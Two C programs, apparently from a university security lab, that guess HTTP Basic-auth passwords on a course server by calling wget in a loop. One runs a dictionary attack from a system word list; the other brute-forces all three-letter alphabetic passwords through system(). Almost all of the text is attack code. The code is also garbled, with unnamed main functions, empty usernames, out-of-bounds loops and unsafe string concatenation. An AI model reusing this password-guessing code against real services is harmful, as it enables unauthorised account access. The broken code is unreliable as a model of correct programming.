#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	int count = 0;
	FILE *myFile,*myFile2,*myFile3;
	int compare1;
	char* myString;
	int length = 0;
	int start1, end1;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	
	printf("-------------now trying Dictonary force attack---------------\n");
	start1 = time();
	myFile = fopen("/usr/share/lib/dict/words","r");
	if(myFile != (FILE*) NULL)
	{
		while( fgets(myString,100,myFile) != NULL)
		{
			
			
			
			smallcmd[2] = joinMe(smallcmd[2],myString);
			length = strlen(smallcmd[2]);
			
			smallcmd[2][length-1] = '\0';
			printf("Checking : %s\n",smallcmd[2]);
			
			check(smallcmd);
			count++;
			
			myFile2 = fopen("logwget", "r");
			if (myFile2 != (FILE*) NULL)
			{
				
				fgets(myString,100,myFile2);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s\n\n",smallcmd[2]);
					end1= time();
					
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					
					fputs("\nTime taken by Dictionary Attack ",myFile3);
					compare1 = ((end1-start1)/1000000000);
					fprintf(myFile3,"%lld",compare1);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
				}
				fclose(myFile2);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}
	fclose(myFile);
	return 1;
}


#include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>



int ()
{
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;     
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;  
    Start_time = time();
printf(" Time =%11dms\n", Start_time);
   for (i=0;i<=52;i++)
  {
   for (j=0;j<=52;j++)
   {
	for(k=0;k<=52;k++)
	  {
	      password[0] =  arr[i];
          password[1] =  arr[j];
          password[2] =  arr[k];
          password[3] =  '\0';
		  printf(" The  Combination of the password  tried %s \n" ,password);
     	  printf("*********\n" );
          strcat(first, password);
          strcat(first, last);
	  printf("\n executing %s\n", first);
          count++;
          syst = system(first);
         if (syst == 0)
       {
        printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in Seconds=%lldsec\n", Total_time);
		printf("Total number of attempts %d" , count);
        printf("\nsuccess %d %s\n",syst,password);
            exit(1);
          }
	  strcpy(first, "");
	  strcpy(first, "wget --http-user= --http-passwd=");

	         }
  	}
   }
 }





